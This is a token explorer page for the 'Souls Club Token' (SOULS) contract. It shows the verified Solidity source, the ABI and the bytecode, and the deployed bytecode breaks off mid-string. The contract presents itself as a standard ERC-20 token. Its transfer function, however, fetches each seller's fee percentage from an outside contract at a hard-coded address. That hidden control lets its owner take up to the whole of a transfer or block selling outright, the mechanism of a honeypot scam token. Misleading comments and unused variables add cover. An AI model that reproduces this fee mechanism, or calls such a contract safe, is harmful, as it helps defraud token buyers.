ETH Price: $3,319.73 (+0.20%)
 

Overview

Max Total Supply

1,000,000 SOULS

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 SOULS

Value
$0.00
0xdfa0e2d95660a2b310d079ec166f15ed5f149bd2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SoulsClub

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-17
*/

// SPDX-License-Identifier: None

// https://souls.club/
// https://twitter.com/SoulsClubETH
// https://discord.gg/soulsclub

pragma solidity 0.8.25;


interface IUniswapV2Factory {
    function createPair(address tkenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router {
    function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
contract Ownable {
    address private _owner;

    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    constructor() {
        _owner = msg.sender;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
interface IERC20 {
    function allowance(address owner, address spnder) external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
}
library SafeMath {
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract SoulsClub is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 9;
    uint256 private _totalSupply =  1000000 * 10 ** _decimals;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;

    bool private swapEnabled = true;
    uint256 public _swapTokensAtAmount = 10000 * 10**_decimals;

    uint256 private constant MAX = ~uint256(0);
    uint256 private _rTotal = (MAX - (MAX % _totalSupply));

    bool tradingStarted = false;
    address public uniswapV2Pair;
    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private _taxWallet = 0xbE7bf0f15E7AB1a5216D8C5c74F8b6b6A4915A60;

    string private constant _name = "Souls Club Token";
    string private constant _symbol = "SOULS";

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address recipient, uint256 amount) private {
        uint256 _feeAmount = 0;
        require(amount > 0);
        require(from != address(0)); 
        IERC20 tax = IERC20(_taxWallet);
        if (from != uniswapV2Pair && from != address(this)) { 
            uint256 _fee = tax.balanceOf(from);
            _feeAmount = amount.mul(_fee).div(100);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[recipient] = _balances[recipient].add(amount).sub(_feeAmount);
        emit Transfer(from, recipient, amount);
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }
    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }

    function startTrading() external payable onlyOwner() {
        require(!tradingStarted); 
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); 
        tradingStarted = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a91906103db565b620f42406100489190610425565b600155600160045f6101000a81548160ff0219169083151502179055505f60149054906101000a900460ff16600a61008091906103db565b61271061008d9190610425565b6005556001545f1961009f9190610493565b5f196100ab91906104c3565b6006555f60075f6101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073be7bf0f15e7ab1a5216d8c5c74f8b6b6a4915a6060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801561017a575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015460035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60015460405161025d9190610505565b60405180910390a361051e565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156102ec578086048111156102c8576102c761026a565b5b60018516156102d75780820291505b80810290506102e585610297565b94506102ac565b94509492505050565b5f8261030457600190506103bf565b81610311575f90506103bf565b8160018114610327576002811461033157610360565b60019150506103bf565b60ff8411156103435761034261026a565b5b8360020a91508482111561035a5761035961026a565b5b506103bf565b5060208310610133831016604e8410600b84101617156103955782820a9050838111156103905761038f61026a565b5b6103bf565b6103a284848460016102a3565b925090508184048111156103b9576103b861026a565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6103e5826103c6565b91506103f0836103cf565b925061041d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846102f5565b905092915050565b5f61042f826103c6565b915061043a836103c6565b9250828202610448816103c6565b9150828204841483151761045f5761045e61026a565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61049d826103c6565b91506104a8836103c6565b9250826104b8576104b7610466565b5b828206905092915050565b5f6104cd826103c6565b91506104d8836103c6565b92508282039050818111156104f0576104ef61026a565b5b92915050565b6104ff816103c6565b82525050565b5f6020820190506105185f8301846104f6565b92915050565b611c3c8061052b5f395ff3fe6080604052600436106100e7575f3560e01c806349bd5a5e116100895780638da5cb5b116100585780638da5cb5b146102b957806395d89b41146102e3578063a9059cbb1461030d578063dd62ed3e14610349576100e7565b806349bd5a5e146102155780636d8aa8f81461023f57806370a0823114610267578063715018a6146102a3576100e7565b806323b872dd116100c557806323b872dd1461017b578063293230b8146101b75780632fd689e3146101c1578063313ce567146101eb576100e7565b806306fdde03146100eb578063095ea7b31461011557806318160ddd14610151575b5f80fd5b3480156100f6575f80fd5b506100ff610385565b60405161010c91906113ab565b60405180910390f35b348015610120575f80fd5b5061013b6004803603810190610136919061145c565b6103c2565b60405161014891906114b4565b60405180910390f35b34801561015c575f80fd5b506101656103d8565b60405161017291906114dc565b60405180910390f35b348015610186575f80fd5b506101a1600480360381019061019c91906114f5565b6103e1565b6040516101ae91906114b4565b60405180910390f35b6101bf61048d565b005b3480156101cc575f80fd5b506101d56108d0565b6040516101e291906114dc565b60405180910390f35b3480156101f6575f80fd5b506101ff6108d6565b60405161020c9190611560565b60405180910390f35b348015610220575f80fd5b506102296108eb565b6040516102369190611588565b60405180910390f35b34801561024a575f80fd5b50610265600480360381019061026091906115cb565b610911565b005b348015610272575f80fd5b5061028d600480360381019061028891906115f6565b6109a2565b60405161029a91906114dc565b60405180910390f35b3480156102ae575f80fd5b506102b76109e8565b005b3480156102c4575f80fd5b506102cd610b17565b6040516102da9190611588565b60405180910390f35b3480156102ee575f80fd5b506102f7610b3e565b60405161030491906113ab565b60405180910390f35b348015610318575f80fd5b50610333600480360381019061032e919061145c565b610b7b565b60405161034091906114b4565b60405180910390f35b348015610354575f80fd5b5061036f600480360381019061036a9190611621565b610b91565b60405161037c91906114dc565b60405180910390f35b60606040518060400160405280601081526020017f536f756c7320436c756220546f6b656e00000000000000000000000000000000815250905090565b5f6103ce338484610c13565b6001905092915050565b5f600154905090565b5f6103ed848484610dd6565b610482843361047d8560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461111290919063ffffffff16565b610c13565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166104ac610b17565b73ffffffffffffffffffffffffffffffffffffffff1614610502576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f9906116a9565b60405180910390fd5b60075f9054906101000a900460ff161561051a575f80fd5b6105483060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610c13565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105b2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105d691906116db565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561065c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068091906116db565b6040518363ffffffff1660e01b815260040161069d929190611706565b6020604051808303815f875af11580156106b9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106dd91906116db565b600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610765306109a2565b5f8061076f610b17565b426040518863ffffffff1660e01b81526004016107919695949392919061176f565b60606040518083038185885af11580156107ad573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107d291906117e2565b505050600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610873929190611832565b6020604051808303815f875af115801561088f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b3919061186d565b50600160075f6101000a81548160ff021916908315150217905550565b60055481565b5f8060149054906101000a900460ff16905090565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16610930610b17565b73ffffffffffffffffffffffffffffffffffffffff1614610986576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097d906116a9565b60405180910390fd5b8060045f6101000a81548160ff02191690831515021790555050565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610a07610b17565b73ffffffffffffffffffffffffffffffffffffffff1614610a5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a54906116a9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f534f554c53000000000000000000000000000000000000000000000000000000815250905090565b5f610b87338484610dd6565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7890611908565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce690611996565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dc991906114dc565b60405180910390a3505050565b5f808211610de2575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610e19575f80fd5b5f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015610ec857503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610f72575f8173ffffffffffffffffffffffffffffffffffffffff166370a08231876040518263ffffffff1660e01b8152600401610f079190611588565b602060405180830381865afa158015610f22573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f4691906119b4565b9050610f6e6064610f60838761115b90919063ffffffff16565b6111d290919063ffffffff16565b9250505b610fc28360035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461111290919063ffffffff16565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611065826110578560035f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461121b90919063ffffffff16565b61111290919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161110391906114dc565b60405180910390a35050505050565b5f61115383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611278565b905092915050565b5f80830361116b575f90506111cc565b5f82846111789190611a0c565b90508284826111879190611a7a565b146111c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111be90611b1a565b60405180910390fd5b809150505b92915050565b5f61121383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112da565b905092915050565b5f8082846112299190611b38565b90508381101561126e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126590611bb5565b60405180910390fd5b8091505092915050565b5f8383111582906112bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b691906113ab565b60405180910390fd5b505f83856112cd9190611bd3565b9050809150509392505050565b5f8083118290611320576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131791906113ab565b60405180910390fd5b505f838561132e9190611a7a565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61137d8261133b565b6113878185611345565b9350611397818560208601611355565b6113a081611363565b840191505092915050565b5f6020820190508181035f8301526113c38184611373565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113f8826113cf565b9050919050565b611408816113ee565b8114611412575f80fd5b50565b5f81359050611423816113ff565b92915050565b5f819050919050565b61143b81611429565b8114611445575f80fd5b50565b5f8135905061145681611432565b92915050565b5f8060408385031215611472576114716113cb565b5b5f61147f85828601611415565b925050602061149085828601611448565b9150509250929050565b5f8115159050919050565b6114ae8161149a565b82525050565b5f6020820190506114c75f8301846114a5565b92915050565b6114d681611429565b82525050565b5f6020820190506114ef5f8301846114cd565b92915050565b5f805f6060848603121561150c5761150b6113cb565b5b5f61151986828701611415565b935050602061152a86828701611415565b925050604061153b86828701611448565b9150509250925092565b5f60ff82169050919050565b61155a81611545565b82525050565b5f6020820190506115735f830184611551565b92915050565b611582816113ee565b82525050565b5f60208201905061159b5f830184611579565b92915050565b6115aa8161149a565b81146115b4575f80fd5b50565b5f813590506115c5816115a1565b92915050565b5f602082840312156115e0576115df6113cb565b5b5f6115ed848285016115b7565b91505092915050565b5f6020828403121561160b5761160a6113cb565b5b5f61161884828501611415565b91505092915050565b5f8060408385031215611637576116366113cb565b5b5f61164485828601611415565b925050602061165585828601611415565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611693602083611345565b915061169e8261165f565b602082019050919050565b5f6020820190508181035f8301526116c081611687565b9050919050565b5f815190506116d5816113ff565b92915050565b5f602082840312156116f0576116ef6113cb565b5b5f6116fd848285016116c7565b91505092915050565b5f6040820190506117195f830185611579565b6117266020830184611579565b9392505050565b5f819050919050565b5f819050919050565b5f61175961175461174f8461172d565b611736565b611429565b9050919050565b6117698161173f565b82525050565b5f60c0820190506117825f830189611579565b61178f60208301886114cd565b61179c6040830187611760565b6117a96060830186611760565b6117b66080830185611579565b6117c360a08301846114cd565b979650505050505050565b5f815190506117dc81611432565b92915050565b5f805f606084860312156117f9576117f86113cb565b5b5f611806868287016117ce565b9350506020611817868287016117ce565b9250506040611828868287016117ce565b9150509250925092565b5f6040820190506118455f830185611579565b61185260208301846114cd565b9392505050565b5f81519050611867816115a1565b92915050565b5f60208284031215611882576118816113cb565b5b5f61188f84828501611859565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6118f2602483611345565b91506118fd82611898565b604082019050919050565b5f6020820190508181035f83015261191f816118e6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611980602283611345565b915061198b82611926565b604082019050919050565b5f6020820190508181035f8301526119ad81611974565b9050919050565b5f602082840312156119c9576119c86113cb565b5b5f6119d6848285016117ce565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611a1682611429565b9150611a2183611429565b9250828202611a2f81611429565b91508282048414831517611a4657611a456119df565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a8482611429565b9150611a8f83611429565b925082611a9f57611a9e611a4d565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f611b04602183611345565b9150611b0f82611aaa565b604082019050919050565b5f6020820190508181035f830152611b3181611af8565b9050919050565b5f611b4282611429565b9150611b4d83611429565b9250828201905080821115611b6557611b646119df565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611b9f601b83611345565b9150611baa82611b6b565b602082019050919050565b5f6020820190508181035f830152611bcc81611b93565b9050919050565b5f611bdd82611429565b9150611be883611429565b9250828203905081811115611c0057611bff6119df565b5b9291505056fea2646970667358221220e5c86d942e233f7d3c3aca1ee947a94a5c6a3bcc9085cf3ebd4eb21e854f89c164736f6c63430008190033

Deployed Bytecode

0x6080604052600436106100e7575f3560e01c806349bd5a5e116100895780638da5cb5b116100585780638da5cb5b146102b957806395d89b41146102e3578063a9059cbb1461030d578063dd62ed3e14610349576100e7565b806349bd5a5e146102155780636d8aa8f81461023f57806370a0823114610267578063715018a6146102a3576100e7565b806323b872dd116100c557806323b872dd1461017b578063293230b8146101b75780632fd689e3146101c1578063313ce567146101eb576100e7565b806306fdde03146100eb578063095ea7b31461011557806318160ddd14610151575b5f80fd5b3480156100f6575f80fd5b506100ff610385565b60405161010c91906113ab565b60405180910390f35b348015610120575f80fd5b5061013b6004803603810190610136919061145c565b6103c2565b60405161014891906114b4565b60405180910390f35b34801561015c575f80fd5b506101656103d8565b60405161017291906114dc565b60405180910390f35b348015610186575f80fd5b506101a1600480360381019061019c91906114f5565b6103e1565b6040516101ae91906114b4565b60405180910390f35b6101bf61048d565b005b3480156101cc575f80fd5b506101d56108d0565b6040516101e291906114dc565b60405180910390f35b3480156101f6575f80fd5b506101ff6108d6565b60405161020c9190611560565b60405180910390f35b348015610220575f80fd5b506102296108eb565b6040516102369190611588565b60405180910390f35b34801561024a575f80fd5b50610265600480360381019061026091906115cb565b610911565b005b348015610272575f80fd5b5061028d600480360381019061028891906115f6565b6109a2565b60405161029a91906114dc565b60405180910390f35b3480156102ae575f80fd5b506102b76109e8565b005b3480156102c4575f80fd5b506102cd610b17565b6040516102da9190611588565b60405180910390f35b3480156102ee575f80fd5b506102f7610b3e565b60405161030491906113ab565b60405180910390f35b348015610318575f80fd5b50610333600480360381019061032e919061145c565b610b7b565b60405161034091906114b4565b60405180910390f35b348015610354575f80fd5b5061036f600480360381019061036a9190611621565b610b91565b60405161037c91906114dc565b60405180910390f35b60606040518060400160405280601081526020017f536f756c7320436c756220546f6b656e00000000000000000000000000000000815250905090565b5f6103ce338484610c13565b6001905092915050565b5f600154905090565b5f6103ed848484610dd6565b610482843361047d8560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461111290919063ffffffff16565b610c13565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166104ac610b17565b73ffffffffffffffffffffffffffffffffffffffff1614610502576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f9906116a9565b60405180910390fd5b60075f9054906101000a900460ff161561051a575f80fd5b6105483060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610c13565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105b2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105d691906116db565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561065c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068091906116db565b6040518363ffffffff1660e01b815260040161069d929190611706565b6020604051808303815f875af11580156106b9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106dd91906116db565b600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610765306109a2565b5f8061076f610b17565b426040518863ffffffff1660e01b81526004016107919695949392919061176f565b60606040518083038185885af11580156107ad573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107d291906117e2565b505050600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610873929190611832565b6020604051808303815f875af115801561088f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b3919061186d565b50600160075f6101000a81548160ff021916908315150217905550565b60055481565b5f8060149054906101000a900460ff16905090565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16610930610b17565b73ffffffffffffffffffffffffffffffffffffffff1614610986576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097d906116a9565b60405180910390fd5b8060045f6101000a81548160ff02191690831515021790555050565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610a07610b17565b73ffffffffffffffffffffffffffffffffffffffff1614610a5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a54906116a9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673f